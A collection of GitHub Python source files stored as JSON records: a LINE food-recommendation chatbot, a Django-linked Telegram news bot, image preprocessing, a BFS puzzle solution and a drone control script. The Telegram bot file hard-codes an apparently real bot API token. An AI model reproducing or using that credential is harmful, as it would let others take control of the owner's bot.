{"seq_id":"14684648813","text":"from flask import Flask, request, abort\n\nfrom linebot import LineBotApi, WebhookHandler\nfrom linebot.exceptions import InvalidSignatureError\nfrom linebot.models import *\n# import button api\nfrom linebot.models import ButtonsTemplate, MessageTemplateAction, TemplateSendMessage, PostbackTemplateAction\n# import quick reply\nfrom linebot.models import QuickReply, QuickReplyButton, LocationAction\n\nimport random\nimport configparser\nimport logging\n\nfrom requests.models import Response\n\n# import linebot回應模板\nimport view\n\n# import subject/emotional辨識模型\nfrom transformers import BertForSequenceClassification\nimport torch\nfrom subject_bert import *\nfrom emotional_bert import *\n\n# import ckip_transformers模型\nfrom ckip_transformers.nlp import CkipWordSegmenter, CkipPosTagger\nfrom recognize_food_n import *\n\n# import database similarity計算模型\nfrom sentence_transformers import SentenceTransformer, util\nfrom compute_n_silimar import *\n\napp = Flask(__name__)\n\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(levelname)s %(message)s\")\n\nline_bot_api = LineBotApi(config.get('line-bot', 'channel-access-token'))\nhandler = WebhookHandler(config.get('line-bot', 'channel-secret'))\n\n# subject bert model\nlogging.debug(\"載入主題模型中...\")\nsubject_model = BertForSequenceClassification.from_pretrained(\"subject_model\")\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nsubject_model.to(device)\nsubject_model.eval()\n\n# emotional bert model\nlogging.debug(\"載入情緒模型中...\")\nemotional_model = BertForSequenceClassification.from_pretrained(\n    \"emotional_model\")\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nemotional_model.to(device)\nemotional_model.eval()\n\n# ckip_pos Initialize drivers\nlogging.debug(\"載入分詞模型中...\")\nws_driver = CkipWordSegmenter(level=3)\npos_driver = CkipPosTagger(level=3)\n\n# n similarity model\nlogging.debug(\"載入相似度計算模型中...\")\nsimi_model = SentenceTransformer('distiluse-base-multilingual-cased-v2')\n\n\ndef cmp(w):\n    \"\"\"計算名詞相似度\"\"\"\n    max = 0\n    for i in data:\n        i = i.keys()\n        for word in i:\n            sim = compute((word, w))\n            if sim > max:\n                max = sim\n                ww = word\n    return ww, max\n\n\ndef compute(wordpair):\n    \"\"\"計算名詞相似度\"\"\"\n    embeddings = simi_model.encode(wordpair)\n    distance = util.pytorch_cos_sim(embeddings[0], embeddings[1])\n    return distance\n\n\n@app.route(\"/callback\", methods=['POST'])\ndef callback():\n    # get X-Line-Signature header value\n    signature = request.headers['X-Line-Signature']\n\n    # get request body as text\n    body = request.get_data(as_text=True)\n    app.logger.info(\"Request body: \" + body)\n\n    # handle webhook body\n    try:\n        handler.handle(body, signature)\n    except InvalidSignatureError:\n        print(\"Invalid signature. Please check your channel access token/channel secret.\")\n        abort(400)\n\n    return 'OK'\n\n\n# global\nans = \" \"\nlng = lat = 1.0\nr = 0\n\n\n@handler.add(MessageEvent)\n# TextMessage\ndef handle_message(event):\n    reply_all = []\n    global ans, lng, lat, r\n\n    # 處理地理座標type的訊息\n    if event.message.type == 'location':\n        logging.debug(\"接收到座標位置了\")\n        lat = event.message.latitude\n        lng = event.message.longitude\n        line_bot_api.reply_message(\n            event.reply_token, view.transport())\n\n    # 處理文字type的訊息\n    elif event.message.type == 'text':\n        text = event.message.text\n\n        # 交通工具選擇\n        if text == '步行' or text == '單車' or text == '機車' or text == '汽車':\n            if(text == '步行'):\n                r = 1000\n            elif(text == '單車'):\n                r = 3000\n            elif(text == '機車'):\n                r = 5000\n            elif(text == '汽車'):\n                r = 10000\n            line_bot_api.reply_message(\n                event.reply_token, view.open_q())\n\n        # 聊天機器人開頭詞\n        elif text == \"哈囉\" or text == \"你好\" or text == \"嗨\":\n            line_bot_api.reply_message(\n                event.reply_token, view.location())\n\n        # 重新選擇交通工具\n        elif text == \"交通方式\":\n            line_bot_api.reply_message(\n                event.reply_token, view.transport())\n\n        # 資料庫無結果，透過GOOGLE NEARBY API進行搜尋\n        elif text == '好的':\n            logging.debug(f\"{ans}, {lat}, {lng}, {r}\")\n            google_response = view.google_api(lat, lng, r, ans)\n\n            # GOOGLE 查無結果\n            if google_response == -1:\n                reply_all.append(TextSendMessage(\n                    text=\"不好意思，google map上也沒有你的搜尋結果，建議你可以嘗試輸入其他想吃的食物品項，讓我們再次為你服務\"))\n\n            # 回傳 GOOGLE 搜尋結果\n            else:\n                POI_name, POI_rating, POI_address, POI_open, POI_money, POI_url = google_response\n                logging.debug(\n                    f\"{POI_name}, {POI_rating}, {POI_address},{POI_open}, {POI_money}, {POI_url}\")\n                reply_all.append(view.recommendation_pattern(\n                    POI_name, POI_rating, POI_address, POI_open, POI_money, POI_url))\n\n            line_bot_api.reply_message(event.reply_token, reply_all)\n\n        # 資料庫比對無結果，且不需要透過GOOGLE幫忙搜尋\n        elif text == '不需要':\n            line_bot_api.reply_message(\n                event.reply_token, TextSendMessage(text=\"請你再次輸入你想吃的食物內容\"))\n\n        # 處理開放式問答\n        else:\n            # 階段一：進行主題分類\n            convert2tsv(text)\n            testset = Review_Subject(\"response\", tokenizer=tokenizer)\n            testloader = DataLoader(testset, batch_size=1,\n                                    collate_fn=create_mini_batch)\n\n            predictions = get_predictions(subject_model, testloader)\n            index_map = {v: k for k, v in testset.label_map.items()}\n            predictions.tolist()\n            df = pd.DataFrame({\"label\": predictions.tolist()})\n            df['label_pre'] = df.label.apply(lambda x: index_map[x])\n            df_pred = pd.concat([testset.df.loc[:, [\"text\"]],\n                                 df.loc[:, 'label_pre']], axis=1)\n\n            # 回傳主題分類結果\n            for txt in df_pred['label_pre']:\n                response = f\"回答的主題是：{str(txt)}\"\n                subject = txt\n            reply_all.append(TextSendMessage(text=response))\n\n            if(subject == '食物'):\n                # 階段二：若主題為食物，則進行情緒分類\n                e_convert2tsv(text)\n                testset = Review_Emotional(\n                    \"response_emotion\", tokenizer=tokenizer)\n                testloader = DataLoader(testset, batch_size=1,\n                                        collate_fn=e_create_mini_batch)\n\n                predictions = e_get_predictions(emotional_model, testloader)\n                index_map = {v: k for k, v in testset.label_map.items()}\n                predictions.tolist()\n                e_df = pd.DataFrame({\"label\": predictions.tolist()})\n                e_df['label_pre'] = e_df.label.apply(lambda x: index_map[x])\n                e_df_pred = pd.concat([testset.df.loc[:, [\"text\"]],\n                                       e_df.loc[:, 'label_pre']], axis=1)\n\n                # 回傳情緒分類結果\n                for txt in e_df_pred['label_pre']:\n                    logging.debug(f\"情緒是：{str(txt)}\")\n                    response = f\"情緒是：{str(txt)}\"\n                    emotion = txt\n                reply_all.append(TextSendMessage(text=response))\n\n                # 階段三：進行詞性標記與篩選名詞\n                text = [text]\n                ws = ws_driver(text)\n                pos = pos_driver(ws)\n                for sentence_ws, sentence_pos in zip(ws, pos):\n                    ans = pack_ws_pos_sentece(sentence_ws, sentence_pos)\n\n                # 回傳名詞標記與篩選結果\n                logging.debug(f\"食物品項{ans}\")\n                reply_all.append(TextSendMessage(text=f\"食物品項是：{ans}\"))\n\n                # 階段四：標記名詞與資料庫名詞進行相似度比對\n                simi_food, simi_num = cmp(ans)\n                logging.debug(f\"資料庫比對結果為{simi_food},相似度{simi_num[0][0]:.3f}\")\n\n                # 回傳資料庫搜尋/隨機結果\n                if emotion == \"正面\" or emotion == \"中立\":\n                    if simi_num >= 0.8:\n                        reply_all.append(TextSendMessage(\n                            text=f\"資料庫比對結果為:\\n{simi_food}/相似度{simi_num[0][0]:.3f}\"))\n                        id = get_best_store(simi_food)\n                        logging.debug(f\"{id}\")\n                        result = view.get_poi_detail(id)\n                        message = view.recommendation_pattern(\n                            result[0], result[1], result[2], result[3], result[4], result[5])\n                        reply_all.append(message)\n                    else:\n                        reply_all.append(TextSendMessage(\n                            text=f\"資料庫比對結果為:\\n{simi_food}/相似度{simi_num[0][0]:.3f} \\n⚠️相似度過低\"))\n                        reply_all.append(view.google_needed())\n\n                elif emotion == \"負面\":\n                    reply_all.append(TextSendMessage(\n                        text=f\"資料庫比對結果為:\\n{simi_food}/相似度{simi_num[0][0]:.3f}\\n⚠️我們將排除 {simi_food} 並隨機為您推薦資料庫中的店家\"))\n                    id = get_random_store()\n                    logging.debug(f\"{id}\")\n                    result = view.get_poi_detail(id)\n                    message = view.recommendation_pattern(\n                        result[0], result[1], result[2], result[3], result[4], result[5])\n                    reply_all.append(message)\n\n            # 回應主題\"其他\"\n            elif(subject == '其他'):\n                reply_all.append(TextSendMessage(\n                    text=\"請您輸入想吃的食物品項喔！\"))\n            # 回應主題\"價格、環境、地點、服務\"\n            else:\n                reply_all.append(TextSendMessage(\n                    text=\"不好意思，我們還不支援食物以外的主題喔~建議你可以重新搜尋，輸入想吃的食物品項，有助於我們更好的推薦你喔!\"))\n\n            line_bot_api.reply_message(event.reply_token, reply_all)\n\n\nif __name__ == \"__main__\":\n    # 主動推播第一則訊息\n    line_bot_api.push_message(\n        \"Uf4811a6102c17022a991fcc3d85955b9\", view.location())\n    app.run(debug=True, port=8082)\n","repo_name":"godspeedhuang/Food_Recommendation_Linebot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41181477109","text":"\n\nrequired = lambda field, value: f\"Field {field} is required\" if not len(value.strip()) else None\n\nclass Validate:\n\n    __rules = {}\n    __values = {}\n    __errors = {}\n\n    def __init__(self, rules:dict, values:dict, model: object =None) -> None:\n        self.__rules = rules \n        self.__values = values\n        self.__model = model\n\n\n    def __get_value(self, field):\n        if isinstance(self.__values, dict):\n            return self.__values.get(field)\n        return getattr(self.__values, field) \n\n    def values_to_dict(self):\n        if isinstance(self.__values, dict):\n            return self.__values\n        return self.__values.dict()\n\n\n    def is_valid(self):\n\n        for field, rules in self.__rules.items():\n\n            errors = []\n            for rule in rules:\n\n                err = rule(field, self.__get_value(field))\n                if err:\n                    errors.append(err)\n\n            if len(errors):\n                self.__errors.update({field: errors})\n\n\n    def create(self):\n\n        if not self.__model: \n            raise Exception(\"pass model to save\")\n        self.is_valid()\n\n        if not self.__errors:\n            self.__model.create(**self.values_to_dict())\n            return self.__model\n\n        raise Exception(self.__errors)\n\n    \n    def update(self):\n\n        if not self.__model: \n            raise Exception(\"pass model to save\")\n            \n        self.is_valid()\n        if not self.__errors:\n            self.__model.update(**self.values_to_dict())\n            return self.__model\n\n        raise Exception(self.__errors)\n            \n\n    @property\n    def errors(self):\n        self.__errors\n\n\n","repo_name":"alaa-aqeel/SQLAlchemy-Model","sub_path":"database/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"37215967850","text":"def leiaInt(msg):\n    while True:\n        num = str(input(msg))\n        if num.isnumeric():\n            return int(num)\n            break\n        else:\n            print('\\033[31mERRO!!! Digite um número válido...\\033[m')\n\n \n#Programa principal\nvalor = leiaInt('Digite um número: ')\nprint(f'\\033[32mVocê digitou o número {valor}\\033[m')","repo_name":"calloliveira/exercicios","sub_path":"python/gguanabara/m3/aula21/ex104.py","file_name":"ex104.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"31906472777","text":"import telebot\nfrom telebot import types \nimport os\nimport django\nfrom slugify import slugify\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'news.settings')\ndjango.setup()\n\nfrom social_django.models import UserSocialAuth\nfrom main.models import News\nfrom main.models import Category\n\nclass Post:\n    def __init__(self, user_id=None, title=None, category=None, text=None, description=None, image=None):\n        self.user_id = user_id\n        self.title = title\n        self.category = category\n        self.text = text\n        self.description = description\n        self.image = image\n\n    def publish_post(self):\n        self.slug = slugify(self.title)\n        category = Category.objects.get(name=self.category)\n        news = News(title=self.title, text=self.text, category=category, description=self.description, image=self.image, slug=self.slug)\n        news.save()\n\nAPI_TOKEN = '6478915421:AAHZH_Zxp49blHcsl7bRga0WaxOQotNn-V4'\n\nbot = telebot.TeleBot(API_TOKEN)\n\ndef send_news_details(news_details):\n    bot.send_message('-4004087466', f\"Опубликована новая новость\\n{news_details['title']}\\n{news_details['description']}\\n{news_details['category']}\")\n\n# def send_news_details(news_details):\n#     bot.send_photo('-4004087466', news_details['image'], f'''Опубликована новая новость\\n{news_details['title']}\\n{news_details['description']}\\n{news_details['category']}''')    \n\n@bot.message_handler(commands=['start'])\ndef login_keyboard(message):\n    markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n    button1 = types.KeyboardButton(\"Войти в аккаунт\")\n    markup.add(button1)\n    bot.reply_to(message, \"Привет!\\nЯ бот который умеет взаимодействовать с новостным сайтом\\nВыбери действие на клавиатуре\", reply_markup=markup) \n\n@bot.message_handler(func=lambda message: message.text=='Войти в аккаунт')\ndef main_keyboard(message):\n    markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n    buttons = [types.KeyboardButton(\"Мой профиль\"),\n                types.KeyboardButton(\"Создать новость\"),\n                types.KeyboardButton(\"Подписаться на рассылку\")]\n    markup.add(*buttons)\n    bot.reply_to(message, \"Главное меню. Выберите действие на клавиатуре\", reply_markup=markup) \n\n@bot.message_handler(func=lambda message: message.text=='Мой профиль')\ndef profile_keyboard(message):\n    user_id = message.chat.id\n    user = UserSocialAuth.objects.get(provider='telegram', uid=user_id).user\n    bot.send_message(message.chat.id, \n                     f\"Профиль\\n{user.first_name} {user.last_name}\\n{user.username}\\nПочта: {user.email}\\nДата регистрации: {user.date_joined}\\nПоследний онлайн: {user.last_login}\\nОставлено комментариев: {len(user.profile.get_user_comments())}\\nОпубликовано новостей: {len(user.profile.get_user_news())}\")\n\n@bot.message_handler(func=lambda message: message.text=='Создать новость')\ndef create_post_keyboard(message):\n    global post\n    global create_post_markup\n    post = Post(user_id=message.chat.id)\n    create_post_markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=3)\n    buttons = [types.KeyboardButton(\"Заголовок\"),\n                types.KeyboardButton(\"Категория\"),\n                types.KeyboardButton(\"Краткое описание\"),\n                types.KeyboardButton(\"Текст\"),\n                types.KeyboardButton(\"Изображение\"),\n                types.KeyboardButton(\"Просмотр\"),\n                types.KeyboardButton(\"Отправить\"),\n                types.KeyboardButton(\"На главную\")]\n    create_post_markup.add(*buttons)\n    bot.send_message(message.chat.id, 'Создание новости', reply_markup=create_post_markup)\n\n@bot.message_handler(func=lambda message: message.text=='Заголовок')\ndef title(message):\n    title_msg = bot.send_message(message.chat.id, 'Введите заголовок новости')\n    bot.register_next_step_handler(title_msg, title_validation)\n\n@bot.message_handler(func=lambda message: message.text=='Краткое описание')\ndef description(message):\n    title = bot.send_message(message.chat.id, 'Введите описание новости')\n    bot.register_next_step_handler(title, description_validation)\n\n@bot.message_handler(func=lambda message: message.text=='Текст')\ndef text(message):\n    title = bot.send_message(message.chat.id, 'Введите текст новости')\n    bot.register_next_step_handler(title, text_validation)\n\n@bot.message_handler(func=lambda message: message.text=='Категория')\ndef category(message):\n    markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=3)\n    categories = Category.objects.all()\n    buttons = []\n    for category in categories:\n        buttons.append(types.KeyboardButton(category.name))\n    markup.add(*buttons)\n    category = bot.send_message(message.chat.id, 'Выберите категорию', reply_markup=markup)\n    bot.register_next_step_handler(category, category_selection)\n\n@bot.message_handler(func=lambda message: message.text=='Изображение')\ndef image(message):\n    title = bot.send_message(message.chat.id, 'Выберите изображение')\n    bot.register_next_step_handler(title, image_validation)\n\n\n@bot.message_handler(func=lambda message: message.text=='Отправить')\ndef send_post(message):\n    global post\n    if post.title and post.description and post.image and post.text:\n        post.publish_post()\n        news = News.objects.get(title=post.title)\n        bot.send_message(message.chat.id, f'Пост опубликован\\nссылка на пост: 127.0.0.1:8000{news.get_absolute_url()}')\n    else:\n        bot.send_message(message.chat.id, 'Не все поля заполнены!')\n\n@bot.message_handler(func=lambda message: message.text=='Просмотр')\ndef view_post(message):\n    bot.send_message(message.chat.id, f'Заголовок: {post.title}\\nкатегория: {post.category}\\nописание: {post.description}\\nтекст: {post.text}')\n\n@bot.message_handler(func=lambda message: message.text=='На главную')\ndef to_main_keyboard(message):\n    main_keyboard(message)\n\ndef category_selection(message):\n    global post\n    global create_post_markup\n    post.category = message.text\n    bot.send_message(message.chat.id, 'Категория выбрана', reply_markup=create_post_markup)\n    \ndef text_validation(message):\n    global post\n    global create_post_markup\n    if len(message.text) <= 300:\n        text = message.text\n        bot.send_message(message.chat.id, 'Текст заполнен', reply_markup=create_post_markup)\n    else:\n        text = None\n        bot.send_message(message.chat.id, 'Длина текста не может быть более 300 символов!', reply_markup=create_post_markup)\n    post.text = text\n\ndef title_validation(message):\n    global post\n    global create_post_markup\n    if len(message.text) <= 50:\n        title = message.text\n        bot.send_message(message.chat.id, 'Заголовок заполнен', reply_markup=create_post_markup)\n    else:\n        title = None\n        bot.send_message(message.chat.id, 'Длина заголовка не может быть более 50 символов!', reply_markup=create_post_markup)\n    post.title = title\n\ndef description_validation(message):\n    global post\n    global create_post_markup\n    if len(message.text) <= 100:\n        description = message.text\n        bot.send_message(message.chat.id, 'Описание заполнено', reply_markup=create_post_markup)\n    else:\n        description = None\n        bot.send_message(message.chat.id, 'Длина описания не может быть более 100 символов!', reply_markup=create_post_markup)\n    post.description = description\n\ndef image_validation(message):\n    global create_post_markup\n    global post\n    post.image = message.text\n    bot.send_message(message.chat.id, 'Изображение выбрано', reply_markup=create_post_markup)\n\n\n@bot.message_handler(func=lambda message: message.text=='Подписаться на рассылку')\ndef subscription_keyboard(message):\n    buttons = [[types.InlineKeyboardButton(category.name, callback_data=category.name, url=f'https://t.me/django_news_subscribe_bot?start={category.slug}') for category in Category.objects.all()]]\n    subscription_markup = types.InlineKeyboardMarkup(buttons, row_width=4)\n    bot.reply_to(message, \"Выберите ниже желаемые категории\", reply_markup=subscription_markup) \n\n# @bot.message_handler(func=lambda message: message.text=='Подписаться на рассылку')\n# def subscription_keyboard(message):\n#     global subscription_markup\n#     buttons = [[types.InlineKeyboardButton(\"Спорт\", callback_data='Спорт'),\n#                 types.InlineKeyboardButton(\"Политика\", callback_data='Политика'),\n#                 types.InlineKeyboardButton(\"Кино\", callback_data='Кино'),\n#                 types.InlineKeyboardButton(\"Бизнес\", callback_data='Бизнес')],\n#                 [types.InlineKeyboardButton(\"Подписаться на рассылку\", callback_data='Подписка', url='https://t.me/django_news_subscribe_bot')]]\n#     subscription_markup = types.InlineKeyboardMarkup(buttons, row_width=4)\n#     bot.reply_to(message, \"Выберите ниже желаемые категории\", reply_markup=subscription_markup) \n\n# @bot.callback_query_handler(func=lambda call: True)\n# def inline_callback(call):\n#     if call.message:\n#         bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id, text=f'{call.message.text}\\n{call.data} ✅', reply_markup=subscription_markup)\n\n\nif __name__ == '__main__':\n    bot.polling()","repo_name":"rex1de/django_news_website","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":10168,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"9810689007","text":"import numpy as np\r\nimport pandas as pd\r\nimport cv2\r\nimport glob\r\n\r\nimg_list = glob.glob(\"../Data/img_align_celeba/*.jpg\")\r\nimg_data = []\r\n\r\nfor i in range(len(img_list)):\r\n    img_file = img_list[i]\r\n    img = cv2.imread(img_file)\r\n    gray_img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n    gray_img = gray_img[20:198,:]\r\n    gray_img = cv2.resize(gray_img, (32,32), interpolation=cv2.INTER_AREA)\r\n    gray_img_list = np.ravel(gray_img).tolist()\r\n    img_data.append(gray_img_list)\r\n    if (i%100)==0:\r\n        print(\"Converted {}/{}\".format(i+1,len(img_list)))\r\n    if ((i+1)%16277)==0:\r\n        img_df = pd.DataFrame(img_data)\r\n        img_df.to_csv(\"../Data/celeba_grayscale_32/train_{:02d}.csv\".format((i+1)//16277),header=False,index=False)\r\n        img_data = []\r\n        if((i+1)//16277)==10:\r\n            break","repo_name":"somnathsarkar/FaceGAN","sub_path":"Scripts/celeba_preprocessing.py","file_name":"celeba_preprocessing.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29513166299","text":"from collections import deque\n\n\ndef open(door):        # 열 수 있는 key가 있는지 확인\n    if chr(ord(door) + 32) in keys:\n        return True\n    else:\n        return False\n\n\ndef bfs(x, y):          # 현재 노드 주위를 탐색\n    que = deque()\n    que.append([x, y])\n    while que:\n        x, y = que.popleft()\n        for nxt in range(4):\n            nx = x + dx[nxt]\n            ny = y + dy[nxt]\n            if 0 <= nx < h and 0 <= ny < w and go(nx, ny):\n                que.append([nx, ny])\n\n\ndef go(x, y):       # 갈 수 있으면 가고 True 리턴, 아니면 안 가고 False 리턴\n    global cnt\n    if visited[x][y]:                   # 이미 방문했으면 갈 수 없다.\n        return False\n    elif arr[x][y] == '.':                # 빈 공간을 만나면 갈 수 있다.\n        visited[x][y] = 1\n        return True\n    elif arr[x][y] == '*':              # 벽을 만나면 갈 수 없다.\n        return False\n    elif 'a' <= arr[x][y] <= 'z':       # 열쇠를 주웠을 때\n        keys.append(arr[x][y])          # 열쇠 추가\n        visited[x][y] = 1\n        return True\n    elif 'A' <= arr[x][y] <= 'Z':       # 문을 마주쳤을 때\n        if open(arr[x][y]):             # 열 수 있는지 확인\n            visited[x][y] = 1\n            return True\n        else:\n            doors.append([x, y])     # 열 수 없으면 열지 못한 문에 추가\n            return False\n    else:\n        cnt += 1                        # 문서를 만났을 때 + 1\n        visited[x][y] = 1               # 방문 표시\n        return True\n\n\ndx, dy = [0, 1, 0, -1], [1, 0, -1, 0]\nn = int(input())\nfor _ in range(n):\n    h, w = map(int, input().split())    # 지도의 높이 h, 너비 w\n    arr = [input() for _ in range(h)]   # 지도\n    keys = list(input())                # 소지하고 있는 키들\n    doors = deque()      # 열지 못한 문의 좌표를 큐에 담는다 : [x, y]\n    visited = [[0] * w for _ in range(h)]   # 방문 표시\n    cnt = 0     # 획득한 문서의 수\n\n    # 건물 가장자리 탐색\n    for i in range(h):\n        if i == 0 or i == h - 1:    # 첫 행과 마지막 행은 전부 다 탐색\n            for j in range(w):\n                if go(i, j):\n                    bfs(i, j)\n        else:                       # 나머지 행은 양 끝만 탐색\n            if go(i, 0):\n                bfs(i, 0)\n            if go(i, w - 1):\n                bfs(i, w - 1)\n\n    while doors:                    # 열지 못했던 문들을 탐색\n        change = 0\n        sz = len(doors)\n        for _ in range(sz):\n            x, y = doors.popleft()\n            if go(x, y):            # 문을 열 수 있는지 확인하고 이동\n                bfs(x, y)\n                change = 1\n            else:\n                doors.append([x, y])\n        if not change:              # 더 열었던 문이 있을 때만!\n            break\n\n    print(cnt)","repo_name":"yunhlim/TIL","sub_path":"algorithm/Baekjoon/G1_9328/G1_9328.py","file_name":"G1_9328.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13128734064","text":"from outputs_fromDrone import InitializeConnectDrone, ReturnDroneAngle\n\nfrom input_forDrone import droneArm, droneTakeOff, condition_yaw, send_global_velocity, send_ned_velocity_heading, goto_position_target_local_ned\nfrom drone_variousMovements import fixDistanceToBlade,moveToNewLocation, moveDroneInLocalCoord, moveToNewDistance\n\nimport time\nimport math\nimport numpy\nfrom dronekit import VehicleMode\n\nimport serial\n\nimport json\n\nsafeDistance = 2000\n\ndistDroneToBlade = 2500\n\n\n\n## Initialize connection to drone\nvehicle = InitializeConnectDrone()\n\nprint(\"Arm the drone...\")\n## Arm drone\ndroneArm(vehicle)\n\nprint(\"Drone take off...\")\n## Drone take off - test take of to 10 meters\ndroneTakeOff(10, vehicle)\n\n##moveToNewDistance(vehicle, 331,320)\n##\n##time.sleep(5)\n##\n##print(\"slept\")\n\n## move drone using velocity from given distance\ndef movementToDistancePosition(distX, distY):\n    stopper = False\n\n    ## x is +forward, -backward, y is +right, -left \n\n\n    signX = numpy.sign(distX)\n    signY = numpy.sign(distY)\n    counterX = abs(distX)\n    counterY = abs(distY)\n    while stopper is False:\n\n        \n        \n        if counterX > 0:\n            xMove = 1\n            counterX-=0.5\n        else:\n            xMove = 0\n\n        if counterY > 0:\n            yMove = 1\n            counterY-=0.5\n        else:\n            yMove = 0\n\n        if yMove == 0 and xMove == 0:\n            stopper = True\n            \n        moveDroneInLocalCoord(vehicle, [signX*xMove,signY*yMove,0], [0.5,0.5,0.5])\n        time.sleep(0.1)\n\n## move drone using velocity and given position\ndef movementToPositionNEW(posX, posY):\n    stopper = False\n    \n    ## x is +forward, -backward, y is +right, -left \n    distX = posX - vehicle.location.local_frame.north\n    distY = posY - vehicle.location.local_frame.east\n\n    signX = numpy.sign(distX)\n    signY = numpy.sign(distY)\n    \n    while True:\n        moveDroneInLocalCoord(vehicle, [distX,distY,0], [1,1,1])\n        if math.fabs(vehicle.location.local_frame.north) >= math.fabs(posX*0.95) and math.fabs(vehicle.location.local_frame.east) >= math.fabs(posY*0.95):\n            print(\"Reached\")\n            break\n        \n##        time.sleep(1)\n\ndef getDataFromServer(sock):\n\n    if sock.inWaiting():\n        \n        receiveMsg = sock.readline()\n        \n        try:\n            \n            unpickledDataFull = json.loads(receiveMsg.strip().decode())\n                \n            outputArr = numpy.array(unpickledDataFull)\n                \n                \n            sock.write('4Send'.encode())\n            \n#            print(unpickledDataFull)\n            \n            return outputArr\n        except json.JSONDecodeError:\n            sock.write('4Send'.encode())\n            print(\"error\")\n                \n    return -1            \n\n\nserialReceive = serial.Serial('COM15', 115200, timeout = 10)\n\nprint(\"start waiting for data...\")\ntry:\n    while True:\n        sendData = getDataFromServer(serialReceive)\n\n        if sendData is not -1:\n\n            for i in range(0,len(sendData)):\n                print(sendData[i,:])\n\n                xPosNew = float(sendData[i,1])\n\n                yPosNew = float(sendData[i,0])\n##                while True:\n                    \n##                    send_ned_velocity_heading(1/sendData[i,1], 1/sendData[i,0], 0, vehicle)\n                    \n                        \n                while True:\n                        \n                        distToTravel = math.sqrt((xPosNew - float(vehicle.location.local_frame.north))**2 + (yPosNew - float(vehicle.location.local_frame.east))**2)\n                        \n                        velX = (0.5/distToTravel)*(xPosNew - float(vehicle.location.local_frame.north))\n                        velY = (0.5/distToTravel)*(yPosNew - float(vehicle.location.local_frame.east))\n                        send_ned_velocity_heading(velX, velY, 0, vehicle)\n                        print(vehicle.location.local_frame.north)\n                        if math.fabs(float(vehicle.location.local_frame.north)) >= math.fabs(xPosNew*0.95) and math.fabs(float(vehicle.location.local_frame.east)) >= math.fabs(yPosNew*0.95):\n                            print(\"Reached\")\n                            break\n                        time.sleep(1)\n##                movementToDistancePosition(sendData[i,1], sendData[i,0])\n##                time.sleep(1)\n            \nexcept KeyboardInterrupt:\n    print(\"exit\")\n\n\n\n\n##movementToDistancePosition(-1, -5)\n##\n##time.sleep(1)\n##\n##movementToDistancePosition(1, -4)\n##\n##time.sleep(1)\n##\n##movementToDistancePosition(3, -2)\n##\n##time.sleep(1)\n##\n##movementToDistancePosition(5, 0)\n##\n##time.sleep(1)\n##\n##movementToDistancePosition(4, 2)\n##\n##time.sleep(1)\n\n\n##Rotate the drone and add the angle to the heading of the drone\n##print(\"rotate the drone \")\n##print(math.degrees(vehicle.attitude.yaw))\n##condition_yaw(45,vehicle,relative=True)\n##\n##send_global_velocity(0,0,0,vehicle)\n##time.sleep(1)\n##\n##print(math.degrees(vehicle.attitude.yaw))\n\n##time.sleep(1)\n##\n#### Move Drone in local Coord system\n##for i in range(0,10):\n##    moveDroneInLocalCoord(vehicle, [1,0,0], [1,0,0])\n##\n##    time.sleep(0.1)\n##\n##print(math.degrees(vehicle.attitude.yaw))\n\n    \n\n## Send command to drone\n##print(\"Fly by velocity\")\n##for i in range(0,10):\n##    moveDroneInLocalCoord(vehicle, [1,1,0], [2,2,2])\n\n####    fixDistanceToBlade(safeDistance, distDroneToBlade, vehicle)\n####    distDroneToBlade -=10\n##    ##condition_yaw(meanAngle_compensated)\n##    time.sleep(1)\n\n\n\n\n\n\n\nprint(\"Setting LAND mode...\")\nvehicle.mode = VehicleMode(\"LAND\")\n\nprint (\"Close vehicle object\")\nvehicle.close()\n\n##sitl.stop()\n\nprint(\"Completed\")\n","repo_name":"IvanNik17/Dronekit-Python-Functions","sub_path":"Main_velocities_testScript.py","file_name":"Main_velocities_testScript.py","file_ext":"py","file_size_in_byte":5651,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
